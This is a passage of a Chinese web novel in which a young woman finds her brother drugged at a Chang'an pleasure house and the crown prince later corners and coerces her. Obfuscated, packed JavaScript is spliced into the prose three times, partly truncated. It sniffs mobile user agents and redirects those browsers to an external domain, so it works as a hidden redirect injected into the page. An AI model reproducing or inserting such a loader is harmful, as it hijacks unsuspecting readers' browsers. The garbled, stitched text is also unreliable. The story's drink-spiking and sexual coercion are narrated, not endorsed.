其实，对于江潮生一直以来所做的事，她知道一些，却只有模模糊糊的一些，眼下的动作，也能图一个心安。 江乔停下手。 许多书信都在。 唯独缺了一个。 自从二人的日子安稳下来后，江潮生一直在探寻从前伺候他们的宫人的踪迹。 也是故人。 这些年，他陆陆续续得到不少消息，并汇总成册，打算得了空，亲自去拜访。 可这个册子，不见了。 江乔稳了稳心思，转过身。 姝娘捏着刚刚被她丢下的帕子，手足无措地站在门口。 江乔平静问，“你知晓，兄长今日去了哪儿吗？” 江潮生从不在外花天酒地，往常天黑后出门，大多数是尹相有事，唤他前去 今日…… “说是去赴宴的。”姝娘急急忙忙想，又恍然大悟，“方才来取册子的人，是临江阁小厮！” 那装扮……那离开的方向，正是去临江阁！ 临江阁是尹家的产业。 作为长安城最大最奢靡的酒楼，临江阁从前便是出了名的销金窟，如今换了主事的人，更是纸醉金迷、“乌烟瘴气”。 而正印证了人以类聚，物以群分的道理。 这位新主事和尹家大公子尹骏交情极深，都是尹家少见的败类，齐名的糊涂虫。 “尹骏……” 这个名字自江乔小小的唇中再次出现，像是细嚼慢咽后吐出的烂骨头。 所谓蠢人，是做事全靠冲动，不知趋利避害的。 尹骏不喜兄长，难道在吃了一次的亏后，就会知道收敛了吗？ 江乔不信。 她慢慢握紧了拳头，分明人已不在灶台炉子旁了，可那双眸子还似淬火一般，又黑又亮。 吩咐了姝娘守家，江乔孤身一人闯进了夜色中。 来的路上，她揣着满心的怒气，走得是风风火火，可一进临江阁，不由得消了气焰，因为里头的人，无论男女，没有不盯着她瞧的。 至于原因，江乔扫过一眼，心中有数。 现在是深夜了。 出现临江阁的男男女女大多是成双成对，男的是千奇百怪，各有各的不堪，而依偎在男子身边的女子们，皆是千娇百媚的。 如江乔一般的，看着便青涩，又无人陪同的，此刻该乖巧待在家中，而不是出现在此处。 管事的观察了许久，确定她不是误闯误入的，迎上前去，“这位小姐……不知，你来此，是为何事？” 江乔冷着一张脸，“尹骏在吗？” “尹大少爷？”管事诧异，见面前少女神色愈发冷淡，连连交代，“是在的。” 江乔心头一紧。 压在心上的不详的预感，再次被加重了砝码。 她勉强保持冷静，问，“和他同席的，还有谁？” 这次管事没有回答，只是狐疑地看着她。 江乔改变措辞，“麻烦去通传一声，就说……是府上来的人。” 管事应得勉勉强强，但到底是应了。 江乔就压着满心的焦急，站在原地等候。 等了许久，她都不见人来回话，那刚熄灭不久的心火又再次冒了 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看了这自来熟的公子一眼，江乔控制着脾气，好声好气地说话，“不算得罪。” 说完，她探出头，准备直接和黄管事对话。 明眼人都能瞧出她的不耐。 不料，这公子是个毫无眼力的，就跟演皮影戏似的，江乔上前一步，他也后退半步。 江乔往一旁走了一步，他也往旁半步。 这是楼梯口，只够两人并肩站的宽度，又是被这样一个大活人堵在前头。 哪怕江乔脾气再好，也要按捺不住，况且，她本就带着满肚子的火气。 “你想做什么？”江乔冷冷问。 还有半句话——好狗不挡道，她没说出口，因不想平白把事情闹大，耽误她去找兄长。 可这已脱口而出的半句话，足以叫那人惊讶。 “我吗？”他指着自己的鼻子问。 平心而论，他生的不错，身子修长，面如明玉，一双大眼似晨星耀耀，不是俗人，再看其衣装打扮，处处低调，处处精致，以及这一路以来，管事对其小心翼翼的态度，可知其出身不凡。 但江乔不好美色，不怕得罪人，有颗刀枪不入的铁石心肠。 那公子愣在原地。 江乔很冷淡地瞥了他一眼，就撞开他的肩，直直往前去。 她身子是纤细小巧的，哪怕是用力撞上来，也只跟被只狗儿、猫儿上前亲近似的。 萧晧后知后觉的，露出了一点微笑。 “欸——”他快速转身，下意识抓住了江乔的手。 这手，也是很小巧可爱的。 江乔抬起那双大眼睛毫不掩饰地瞪着他，又薄又小的唇抿成了直直一条线，话语愈发冷了，几乎能结出冰渣子，“你到底要做什么？” 萧晧很抱歉似的松开了手，觉得她的声音，也像是小猫被抚摸时的叫唤，咕噜咕噜的，挺可爱的。 “这位小姐……”他大跨步上前，又拦在了江乔面前。 意识到这个动作不讨喜，又该引得江乔怒目相视了，他侧开一步，笑着说，“你若遇见麻烦了，只管找……黄管事，我帮你瞧着，他不敢敷衍你的。” 11. 太子 萧晧出声后，那黄管事果然听话照做了，低着腰，开着路，领着江乔一路往临江阁里头走去。 萧晧优哉游哉迈开了步子。 他这么大一个人，如影随形地跟着，实在叫人难以忽视。 江乔目视前方，道了一声谢。 “无妨的。”他还是笑。 浑然不知自身的多余。 江乔分出半缕余光夹了他一眼。 本想偷摸的打量，不曾想到，萧晧正大喇喇地看着她。 这一眼，二人视线恰好撞上。 萧晧不回避，目光追逐而来，落在她的侧脸上，眸中带着明晃晃的笑意：“你叫什么名字?” “不足挂齿。”江乔平静地收回视线，继续往前走，心中实在觉得这人碍眼且碍事，但不好直接翻脸无情，就面无表情地听着他琐碎的问话，左耳朵进右耳朵出，言简意赅地回复几个字眼。 尹骏身份尊贵，临江阁为他安排的厢房也不同。 沿着道，一路进入，不同于外边的张扬的奢靡，愈往深处走，四周愈发静，静中有雅，雅中显贵，这才是长安城第一阁的底蕴。 “就在里头了。”黄管事停住了步子。 江乔望着最里头的一扇门，“嗯”了一声。 她往前走，心中慢慢回过味来，微微仰起头，若有所思的又看了萧晧一眼。 “怎么了？”这一路，他一直保持着不远不近的距离，肢体上并无唐突，言语上也拿捏着分寸，只做了寻常问话。 江乔别过头，“没什么。” 萧晧依旧笑着，也若有所思。 她站在原地。 萧晧问，“不进去吗？” “我人微言轻，万一真有事，贸然闯入，是自投罗网……”江乔停住了声，目光停在他身上。 对于这人的身份，江乔心里模模糊糊有个猜想，长安城的权贵虽多，但能高过尹家大公子的，只有一双手也能数过来的几人。 对着年纪，传闻，一个个名字筛选过去，一点点缩小范围，再加上些许直觉……那个答案，可以脱口而出了。 江乔眸子一闪，正要试探，他出了声。 “想利用我？”萧晧轻声笑。 江乔眨眼。 他一口气道，“我准许你利用。” 很是大方。 太大方了，反而叫人不安。 江乔低下头，一言不发。 后生的忌惮和原先的急切，纠缠在了一处，寻一个平衡的交织点。 她是有利用的心思。 也打算利用。 但一人的有意为之和二人的一拍即合，是截然不同的。 无缘无故的人情债，最难还。 江乔很想不识好歹地反问一句，他为何不能揣着明白装糊涂？ 但他的话，早早说出了口，连余音都不见了。 江潮生还在里头。 兄长…… 绝对的筹码加了上来。 就在江乔要捏着鼻子同他“合作”时，一个丫鬟打扮的女子走来，被黄管事拦在了不远处。 “东西放着吧，里头不用伺候。”黄管事说。 那丫鬟应，“好。” 二人闻声望了过去。 萧晧暗道不妙，果然听江乔出声，“多谢。” 并不诚恳，轻飘飘的一句。 萧晧还想说些什么。 可江乔已自然而然地走上前。 她对着那个丫鬟笑了笑，又低声说了两句，从她手中端过了托盘，再一低头，配上那身本就不显眼的衣裳，想装个丫鬟浑水摸鱼，是易如反掌。 萧晧轻轻叹了一口气，很是遗憾。 江乔才不管他心里的念头，一边缓步往前走，一边在心底里无声地推演着，尽可能将所有的变故，都一一排列出来。 若推门进去，真瞧见了兄长，就静观其变。 若江潮生不在，她就悄无声息退出来，另寻法子。 总之，今夜，她要见到兄长。 江乔推开门。 她一眼，寻见了兄长。 又乱了所有的谋算。 她千算万算，却没算到会见到这幅模样的江潮生。 乍一看，以为是层层叠叠的衣物堆积在角落，仔细瞧，才能瞧见那纤细又脆弱的身形，他闭着眼，发散落，肤白像是一道映在水面上的月光，碰了就碎了。 但就算无人碰，她的心，也开始一寸一寸地撕裂。 尹骏坐在主位上，头也不抬，只道，“放那吧。” 没人回应。 他抬起头，瞬间醒了酒，一边跌跌撞撞起了身，一边匆匆忙忙套着衣物，“殿下……您怎么和她一起来了？” 如今大梁皇帝并无兄弟姐妹，膝下子嗣也不多，能被称为“殿下”的，只有一人。 太子萧晧。 “咣当咣当”的几声，是尹骏站起身时，碰倒了身边的物件。 萧晧瞥他一眼，示意他安静后，将目光再一次投向了江乔。 昏黄的烛光下，这张小而精美的脸蛋透出一股人绘般的白。 她端着托盘，缓缓的往江潮生处走着。 江乔越是走近，越能看清他的模样。 他阖着眼，睡得并不安稳，身上的长衫，零散的发都湿漉漉的，乱七八糟地黏在白瓷似的肌肤上，身边倒着数个空酒坛。 酒气并不纯粹，细闻之下，能察觉到几缕甜腻的香气。 只是看着，人是好端端的。 江乔松了一口气。 “兄长？”她唤着。 并无人应答。 于是，那颗心又吊了起来。 她摸了摸江潮生的脸蛋，熟鸡蛋似的滑腻和温热。 这样的热，可以出现在任何一个正常人脸上，唯独不会出现在江潮生身上。 积年的寒，早渗入了骨。 江乔方寸大乱，只靠一丝不多的清醒，重新观察着四周。 屋内只有四人。 这是一场私下相见的宴席。 尹骏是个无用的蠢蛋，干不出下毒的事。 她扒过酒坛，用指尖在坛底刮过，摸到了细碎的粉末。 是寒食散。 江乔顿了一顿。 此物食之，有飘飘欲仙之感，但价比黄金，向来只风靡于权贵之间。 而是否食用寒食散，更被个别推崇者当做此人是否可亲近、共事的标识。 兄长是断然不会主动服用此物的。 曾有人知他顽疾，需饮酒抗寒，送来过不少的寒食散，却被婉拒。 兄长同她说，食之者，皆不长寿。 而虚无欢乐，亦不是他所求。 江乔恶狠狠地瞪了尹骏一眼，但没工夫同他算账。 又扶过江潮生，让他枕靠在腿上，轻轻擦拭去密密麻麻布在他额间的冷汗。 恍惚间，江乔以为回到了过去。 她是衣衫褴褛的乞儿。 兄长还是兄长，为她遮风挡雨，为她委曲求全。 忍不住的，泪从眼角落下，豆大的一滴，珠落似的一串，都打在了江潮生泛着不自然红晕的脸蛋上。 江乔左一下，右一下，用力擦着泪。 这样子，可怜又可爱。 萧晧本无心掺和其中的，但见她如此，便转了念头，轻笑道，“尹大公子，好雅致。” 尹骏还没弄明白状况，视线也不知道该落到何处，胡乱瞟着。 被问到话，下意识急急忙忙解释，生怕被误会，“我可什么都没做！是江白主动邀约的，说是要冰释前嫌的。” “前嫌？”江乔垂着眸，“尹大少爷没有忘记，何为前嫌吧？” 当初生事的，是他。 尹骏自知理亏，但忍不住再次辩解，“我当日道过歉，后来江白设宴，还是我主动定了场地……否则，他哪能进临江阁来？” “所以，这寒食散，也是你准备的？”江乔声音又冷又淡。 明明她是个瓷娃娃似的人物，不会有多少的能耐和力气。 可不知怎么着，尹骏身子被吓得一抖，跟见了自家老娘似的，只能老老实实答，“对……” 再看江潮生，他脸颊处的潮红，脖颈、手臂处的冷白……像是纸扎的美人，暂留的孤魂，总之，不是正常样子。 道，“我不知他身子如此弱……” 可往烈酒里头加寒食散助兴，是他的主意。 没有和江潮生提前说过，是他的失误 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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萧晧想挑明她的心思，但想了想，就算了。 兔子急了要咬人，虽不疼，但再想亲近，便不容易了。 萧晧微笑。 二人离开了这间屋子。 萧晧问：“是亲兄妹？” 屋外，那两道背影下了楼，混在人群中，鹤立鸡群般，一高一低，都纤细，是精心落下的两笔。 “啊？”尹骏也走上前。 萧晧看他一眼，“是问你呢。” 尹骏挠了挠脑袋，一屁股坐回了原位，“是吧？没打听过，但看那个宝贵样子，怎么可能不是亲的？” 江潮生今日约他出来，是以替江乔还礼的由头。 那日的事，闹得不算大，因此，只有维系了表面的客套，才能继续扮演相安无事。 他又念念叨叨，“我家那个倒是亲的，对我也没有这么好。” 二人是自幼的玩伴，哪怕这几年，彼此的身份都今非昔比了，也未完全学会君臣的一套。 言辞之间，总会透露出从前相处时的随意自在。 “是吗……”萧晧轻声。 那二人出了临江阁的门，融入了夜色中。 他笑了笑，拿着一壶酒扔了过去，道，“你今日又闯了祸。” 尹骏闷了一口酒，越想越气，“那个江白，怪里怪气的，根本不知道他在想什么。” “到底是何事？你同我说说，我好帮你求情。” “说不好……”尹骏摇摇头，眉头紧锁，却是含糊其辞，“总觉得，他在算计着什么……想不明白。” 他说着想不明白，就干脆不想，畅快地饮着酒。 萧晧早知他的脾气，也不追问。 江白。 江乔。 滟滟。 的确是个水光滟滟的美人。 12. 受辱 因昨夜临江阁的事，江乔憋了一肚子的火，烧心闹肺的，叫她直接睁眼到天亮。 晨光熹微。 睡意仍是毫无的，而报复的心思是夏日的蝉鸣，叫嚣不止的。 江乔闭上眼，院子传来了声响，细细碎碎的，该是姝娘准备出门了，除了刮风下雨，她都要出去采买，且说过，蔬果、鱼肉这些都是要趁早去买，去晚了，只能挑别人剩下的。 不新鲜。 江乔胡乱想了一通后，睁开眼，干脆利落地起了身。 到了井边，江乔量力而行只打了半桶水，初春的水冷得刺骨，手一放进水中，就泛起了淡淡的红。 用冷水擦了面，水滴顺着脸颊滑落。 她简单擦干后，来到江潮生的屋子外边。 就站在屋门处，没进去。 隔着不远不近的距离，能瞧见他安睡的模样。 足够了。 江乔轻轻关上了门，转身离去。 是她糊里糊涂，来到长安城后，真把自己当做了大门不出二门不迈的大小姐。 全然忘了，兄长的不易。 江乔又孤身一人到了临江阁。 白日的临江阁和夜间的，是很不相同的两幅模样，像是一位浓墨重彩的美人擦去了粉彩，照样是美丽的，却少了几分轻浮，多了几分端庄。 这次，没有一道又一道投到她身上的诧异视线。 江乔成了一位少见的，但总能瞧见几回的客人。 对着接客的小厮，她轻声道，“我要见黄管事。” 要想原原本本知道昨日宴席的来龙去脉，问谁，都不如直接问他。 今日寻人，比昨夜快了许多。 那小厮很快就来回话，“江小姐，请跟我走。” 江乔点头。 她再一次上了二楼，被引进一间屋子里，里头的陈设是比不上昨夜尹骏那间的，但很干净，也清净。 屋内点着淡香，桌上空空如也。 江乔问：“黄管事人呢？” 那小厮答：“还稍等片刻。”说着，他离开了这间屋子。 江乔静静等着黄管事，威逼和利诱的话，各准备了一套，她习惯了凡事做完全的准备，在大多数时候，将自己活成了一只角落的蜘蛛。 要耐心地吐丝，织网，再捕捉猎物。 她是不会拿这件事去对付尹骏的，没必要，也闹不起来。 正如当日发生在她身上的事。 没死人，就是小事一桩，传到了上头大人物的耳中，不过小辈之间的胡闹。 但总有人胆小怕事。 诸如尹骏，一旦他漏了怯，就只能乖乖待在她的网上，成为束手就擒的猎物。 正盘算着，她走到了窗边，往外望，本来是一个随心所欲的动作，她用不惯香，就要散散空气。 空气中，有冬日的凉意。 哪怕暖阳早早明媚了起来，这微微的风还是冷的。 她心情好了许多，然后低头往下望，瞧见了一张熟面孔——那位太子殿下，萧晧。 窗外是一个花团锦簇的院子，也不知这冬日里，临江阁从哪儿寻来这么多艳丽的花。 萧晧就站在院子里头，身边是一个很娇媚的女子。 二人面对面站着，一高一低，双目相对，窃窃私语着。 此情此景此人，都叫她生出一种不安的烦躁来。 江乔面无表情地关了窗。 还在纠结，是否该离去时，房门被敲响。 江乔没动。 敲门声还是刚才的节奏，更重更急。 江乔捏紧了拳，去开了门。 门外正是萧晧。 二人大眼瞪大眼，对视了片刻。 江乔轻轻巧巧做了一个不规范的礼，“见过太子殿下。” 接着缩了缩身子，打算从他身侧的空隙溜出去。 “欸……”萧晧长腿一迈，正正好好堵住她的去路。 江乔微微仰着脑袋。 萧晧笑，“在宫外没有什么太子殿下，我叫萧晧，你可以叫我的名字。” 很亲昵的语气。 又补充，“我们是第二次见面了。” “民女不敢。” 他还是笑，“如果昨夜没亲眼瞧见你，我会信你这句话。” 他的视线又一次在江乔面上扫过，刚伸出手，她就退后一步。 萧晧摊着手，随意道，“进来陪我坐坐吧？” 江乔抿着唇。 萧晧：“你在等黄管事？他是个人精，若打算见你，早就来了。” 心事被说中，江乔抿唇思索，就这时，她那细细小小的胳膊被握住。 “真细，捏着，感觉会断。”萧晧又看她一眼，“别怕，我不吃人。” 吃人，不一定要敲骨吸髓。 自有千般的手段，将她生吞活剥。 江乔一边是不愿主动戳破那层薄薄的隔膜，一边也是忌惮着他的身份，尊卑是无所谓的，可身份所带来的权势，却是紧要的。 从前街头常见走绳索的艺人。 他们从绳索的一端走到另一端，只要不跌落，就是满堂喝彩。 江乔也决定走一步看一步，且不认为，自己会跌下来。 没有反抗，任凭萧晧拉着她，像拉着一个娃娃似的，把她拉到了屋子里头去。 一进屋子，萧晧果然松开了手，随心所欲地寻了一处位置坐了上去。 小厮又进来。 他要了些点心，问，“黄管事呢？” 小厮殷切，“小人去催催。” 萧晧又转过头，问她，“会喝酒吗？” 江乔不语。 他道，“上些热茶吧。” 这架势，似乎只是打算促膝长谈。 江乔接过了热茶，小小呷了一口，垂下的眼眸有着猫一样的亮光。 或许真如他所说，黄管事是看人下菜。 萧晧进里屋不久，这位大忙人总算显了身形，慌不迭地向江乔赔礼道歉。 只道歉，对于方才为何耽搁了，没有解释。 黄管事小心地看着她。 江乔也不要解释，直言：“直说吧。” 有萧晧坐镇一旁，这次问话，比她预期设想要快许多，“大棒”和“甜枣”没了用武之地，黄管事一个人一张嘴，将昨日的情景说得明明白白。 正如她所想，这是一桩无关痛痒的小事。 只有阴差阳错，而无大错。 唯有一句话，被她牢牢地听到了耳中——萧晧食用寒食散，每每都要提前和黄管事打过招呼，且常常是在半夜和一群好友一同来的。 是偷偷摸摸行着事。 江乔心头一动。 对于尹相的政见主张，她从兄长处，也是听闻过些许，知晓个大概的。 这位老丞相很是关心民生，且注意到民间百姓多有倾家荡产购买寒食散的现象，有意管制，为此他本人曾多次当众批判过寒食散，认为此物除劳民伤财，再无好处。 这一趟，不算白来。 江乔捏住了这个小小把柄，面容平静，喜不外露。 “江小姐……”黄管事试探。 江乔，“无事了。” 黄管事眼眸往旁一偏。 萧晧点头。 黄管事：“那小人先离去了。” 江乔顺势想提出离开。 萧晧先道，“再陪我待一会，江小姐不会这么小气吧？” 江乔：“太子殿下……” 她的话被轻轻打断。 萧晧笑，“我不想听你的‘谢’。” “那……” 再次被中止。 “也不想要什么虚头巴脑的。” 江乔感到不妙，余光中黄管事还未走远，心中一横，很恭敬，她道，“民女卑微，若殿下有所需求，还等民女回家中与兄长商量后，再择礼献上。” 她想破财消灾。 但萧晧不缺钱财。 他还坐在一旁，两条又长又直的腿随意摆着，又伸出手，“别装傻。” “民女不知。” 萧晧仰着脑袋，大孩子似的盯着她瞧，“你看，还在装傻。” 很无奈很纵容的口吻，可那双黑亮的眼眸，却逐渐昏沉，一寸一寸压在江乔面上，自漂亮眉眼，到小巧鼻尖，再是那抹点了口脂的唇。 “啪嗒”一声，屋门被严严实实关上。 那一声，也砸到了江乔心头。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16526458|186317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 萧晧伸出手，她往后退了一步。 他再往前。 她又往后。 江乔动气了，低声，“殿下该知晓，强扭的瓜不甜。” “嗯？”萧晧似笑非笑，“你果然明白的。” 昨夜见到江乔孤身一人闯到临江阁时，他便察觉到她的不同。 作为历朝国都，长安城是最重礼守矩的地方。 自幼养在长安城的贵女们，哪怕天性如何的大胆，也不敢做出夜不归宿的事。 可江乔，不止敢一人出门，还清楚地明白，一个男人并不会无缘无故地对一个女人示好。 一边放肆，一边小心。 一面天真，一面狡黠。 况且，江乔有一份独属于她的灵动和美貌。 萧晧喉结轻轻上下动着，骨子里，与先祖一脉相承的血再次翻涌、滚烫。 对草原和猎鹰的记忆，已经模糊。 但他记着，捕猎的本能。 萧晧不再同江乔玩猫抓老鼠的把戏，直直抓住那只小巧的手，强硬地将五指扣入。 手同手指，先身子一步，紧密缠绵。 江乔要挣脱。 他不让，更用力。 她压着声，“男女授受不亲。” 萧晧笑，“那你同江白，为何这般亲密？” 江乔咬牙，“他是我兄长。” 萧晧恍然大悟似的，感叹一声，很刻意，“原来如此。” 江乔看着他，更是可恶可厌一个人，恨不得一爪子挠上去，叫他对自己厌而远之。 萧晧顿住步子，歪着脑袋，“你定亲了吗？” 江乔警惕。 萧晧真心实意道，“孤娶你。” 他自称用的是“孤”，提醒着江乔，他的身份，他身份所代表的荣华富贵。 “殿下……请自重。”她很直接的，将自己的手从他的手中拔出来。 “怎么不自重了？”萧晧笑问，看着空荡荡的手心，几分怅然若失，几分真诚，“你若不信，我今日便派人提亲。” 江乔冷笑，“让我给你做妾？做梦。” 萧晧很惊讶般，“你想做太子妃？” 江乔才知道对牛弹琴是什么滋味，一股无名的火气完完全全涌上了心头，让她顾不上这许多。 再说也无用，江乔决心走为上策。 眼见萧晧又伸出了手来，她快速挪开了身子。 不料，萧晧先一步上前来。 将她逼到了墙角，一个退无可退，躲无可躲的处境。 “江乔，太子妃的位置不可能。”萧晧一手掐着她的腰，一手摸着她的脸蛋，“但孤真心喜欢你。” 属于男子的，温热的气息彻底将她包裹。 江乔唯有咬着唇，才能勉强抑制着扑上前，狠狠咬他一口的念头。 “谋杀储君，是大罪。”萧晧轻声笑，将江乔的窘境原原本本看到了眼底，“你想明白了。” 江乔别开头。 萧晧用拇指，将她唇上的口脂抹开，又一次笑出声。 在男女情事上，他向来是无往而不利的，但偶尔以权压人一次，也很有意思。 “听说，你和兄长是相依为命？”他道，“孤看过他的文章，极佳，可惜……” 可惜什么？ 命不好。 江乔眼角泛起了红，瞳孔涣散。 萧晧捋开她的碎发，赏画赏字似的，一边把玩，一边赏着江乔，“与其让他在尹相手下谋事，不如出入朝廷。” “我想娶你，真心的。” “江小姐，江乔，滟滟……想想他，你的兄长。” 江乔没了声响，又一次咬上了唇。 她成了砧板上的鱼，触手可及的果子。 这比他事先所想，要简单许多，相应的，也没有大获全胜的满足感。 但无伤大雅，萧晧准备细细品尝“战果”，这时，江乔抬起了头，那双深黑的眼眸带着一点决绝。 “大不了鱼死网破。” 泪珠子自眼角一滴一滴涌出、滑落，她的声音却是平静的。 “一命换一命，我不吃亏。” 而兄长，绝对不会眼睁睁瞧着她受辱。 绝对。 13. 心思 二人对峙着，就这时，门外传来了一阵脚步声，且逐渐清晰、靠近了。 “一大早的……”尹骏一推开门，就被眼前情景惊到了，下意识把门关了回去。 还没合紧，萧晧道，“进来吧。” 与此同时，他松开了手。 尹骏探头探脑的，看清了江乔的面容，“呦……这……” 眼神徘徊在二人之间。 还不等尹骏再一次大呼小叫，江乔低着脑袋，同他擦肩而过，快步离开了屋子。 将视线从她背影收回，再一言难尽地看向好友。 尹骏哀其不幸怒其不争，“太子殿下，你白日宣.淫就算了，怎么还找到了这家伙？” “她怎么了？” 尹骏皱着脸，对好友的品味表示出怀疑，“那个古里古怪的小丫头，你看上了她哪儿？” 萧晧随意地看他一眼，坐回了位上，“你不懂。” 尹骏撇了撇嘴，“我的确不懂。” 不懂的，还有江乔。 她一溜烟下了楼，迎面碰上了一脸诧异的黄管事等人，她不解释，也不放慢脚步，很有落荒而逃的自觉，匆匆忙忙逃出了临江阁，过了一个拐角，等进了空空荡荡的小巷，才停下步子。 许久没有被逼到这个地步了。 江乔气狠了，用力踹着墙角，又气喘吁吁地靠在墙上。 对于萧晧的所作所为，她很想报复回去，但明白，以自身的力量，无论是用怎样的阴谋诡计，都是蚍蜉撼大树。 他不是无依无靠，空有力气的小贩。 也不是罗慧娘。 身为帝王的独子，哪怕她残了，死了，唤来了满朝的文武怜惜她，指责萧晧。 他的地位，也不会有丝毫的动摇。 这个事实，叫江乔很气馁。 但当务之急，是如何让他死心。 江乔慢慢往家中走，一位妇人也迎面而来。 她“呦”了一声，“这不是江小姐吗？” 江乔继续走。 妇人扯过江乔的衣袖。 江乔淡淡望过去。 妇人松开手，讪笑，“江小姐？还记得我吗？” 江乔盯她片刻，垂下眸，“哦，是你。” 是那日，在家中见过的媒人。 “有事吗？”她问。 媒人揣着手，“没什么大事。” 江乔点点头，依旧拖着步子往前，无意闲聊，那媒人却缠了上来，带着一点自以为藏得不错，别人却是一眼能瞧见的恶意。 “你还记得王公子吧？对，就那位王公子，他定了亲事，倒也不是什么达官显贵，但家风不错，其父……” “谁？”江乔忽的停下步子。 媒人一怔，勉强笑，“就是王公子呀……向你提亲的那位王公子。” 江乔又点头，若有所思。 媒人未想到，她会如此正儿八经地思索着，像是憋着什么坏水，心中一乱，忙说道，“你可别多想，人家已定下了婚约，你再掺和，也是无用的。” 江乔微微一笑，“自然的。” 说完，她整个人仿佛重新有了精神，很彬彬有礼的向这媒人道了别，一蹦一跳地离开了。 想要摆脱萧晧，婚事的确是个好主意。 江乔回到了家中，看见慌慌张张的姝娘。 她跑上来问，“你去哪儿了？” “出去逛了逛。” “吓死我了，我以为你没起床，进屋子，打算叫你，却没瞧见人！” “我出门的时候，你也出去了。”江乔不想让她担无用的心，敷衍了两三句，就回到了屋子里头。 她躺回床榻上，身子翻来覆去，不安定着，一个念头却是缓缓入了心，成了定数。 兄长说过，姝娘说过，那媒人也启发了她。 嫁人。 只要嫁了人，萧晧便没理由再来骚扰她。 反正她迟早要嫁人的，不如自己先去挑一个称心如意的，也好过盲婚哑嫁。 江乔想着，坐起身，抓过一旁的铜镜，认真地打量着自身。 细细的眉，大大的眼，略显苍白刻薄的唇。 这样一张面庞衬上她单薄的身子，不怪有许多人都把她当做一个孩子瞧。 但先有一个王公子，后有一个萧晧，都非亲非故，没有日久生情的机会，只剩下见色起意的可能。 江乔一挑眉，见铜镜中的人，也很怪里怪气地扬着眉毛。 得出结论——在某些人眼中，她也算得上是一位秀色可餐的美人。 既然如此，许多事会好办许多。 只差一个人选。 江乔将所熟知的男子，一一想了过去。 这人没有兄长生得漂亮。 这人愚蠢，不如兄长聪慧。 这人年纪老了些，比兄长还大了四五岁。 …… 她逐一比较着，突然停下了胡思乱想，这心里一静，去繁就简，逐本溯源，唯有一个藏在心底最深处，不为人知的念头，缓缓露出了原貌。 江乔直起身，是自己把自己吓到了。 过了一会儿，江乔从榻上起身，又到了院子里头。 姝娘在浇花，她喜欢花草，这些野花野草都是她寻来的。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16526459|186317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >江乔拿起了小铲子，走到姝娘身边，有一下没一下地松着土。 姝娘十分意外，往常的江乔是连看一眼这些花花草草，都不愿意的。 她问，“小姐？你……怎么了？” 江乔还在铲着土，“兄长呢？” “公子出门了。” “去哪？” “说是去买些笔墨纸砚的。” 江乔慢吞吞发出了一声“哦”。 大黄恰好从外头撒野回来，喝了一点水，也没歇着，继续围着姝娘打转。 江乔盯着它，几日没注意，它胖了许多，成了一个球。 “来福，去一旁歇着。”姝娘轻轻踹开它。 “来福？”江乔后知后觉，是这狗正儿八经的名字，也不在乎。 这狗也学起了人的一套，有奶就是娘，被姝娘喂养了几个月，它就被笼络了过去，忘了旧主子。 江乔只在乎她想在乎的人。 又问，“他没问起我吗？” “公子起得早，问是问我了，我以为你还在屋子里头睡大觉。” “还说什么吗？” “没了吧。” 因她向来都这样黏着江潮生，姝娘一时未察觉异常。 江乔又用力将小铲子往土里插了两下。 姝娘后知后觉，问，“小姐有心事？” 江乔瞥她一眼，认为她太迟钝，“嗯。” 姝娘：“什么心事呢？” “……也没什么。” 姝娘笑，也开始能看懂她的小把戏，“小姐就大人有大量，告诉我吧……” 江乔继续用着小铲子，将一些土松开，翻到一旁。 她漫不经心道：“想着我的婚事呢。” 姝娘恍然大悟，“你今日出门，是为了这件事？” 江乔没点头，没摇头。 姝娘又问，“小姐有心上人了吗？” “没有。”江乔若无其事道，“如果能嫁给兄长就好了，一辈子都不用离开家。” 姝娘只当她在发牢骚，孩子话。 笑，“怎么可能，同姓不婚，小姐和公子可是亲兄妹，不能在一起的。” 江乔没了声音，目光落在花盆里头。 除去杂草，挖开浮土，草的根，花的茎，密密麻麻纠缠在了一处。 剪不断。 理不了。 白白叫人心乱。 “哦——”江乔沉着声，胡乱填回了土，三两步钻回了屋子。 姝娘歪着脑袋，不知所以然。 想了想，自己没说错什么话，继续带着笑，乐呵呵地修剪着花草。 14. 想法 晚膳前，江潮生到了家中。 平时这时候，江乔都会黏上来，今时今日，她却缩在了屋里头，不肯出来。 姝娘再一次敲了敲门，“小姐？” “嗯……” 隔了一道墙，声音弱了几分，不知是何原因。 姝娘，“今日做的菜，都是你喜欢的呢。” 开始报菜名。 一道又一道，的确都是江乔偏好的。 但里头没反应。 “小姐？”姝娘有几分担心。 “我不吃。” “怎么就不吃了？” 她平日是有个好胃口的，姝娘嘟嘟囔囔，怀疑她是生了病。 正准备再敲门时，不远处传来一道轻缓悦耳的声音。 姝娘停下了手。 “我去瞧瞧吧。”江潮生客气道。 虽然姝娘来到这个家中，也有半年之久了，但每每见了江潮生，还是跟羊羔见了狼似的，心要怕，腿会软。 面上扮出几分自欺欺人的镇定，她让开了身子。 “麻烦了。”江潮生轻声。 就进门的一瞬，榻上的小人儿拉高了被褥。 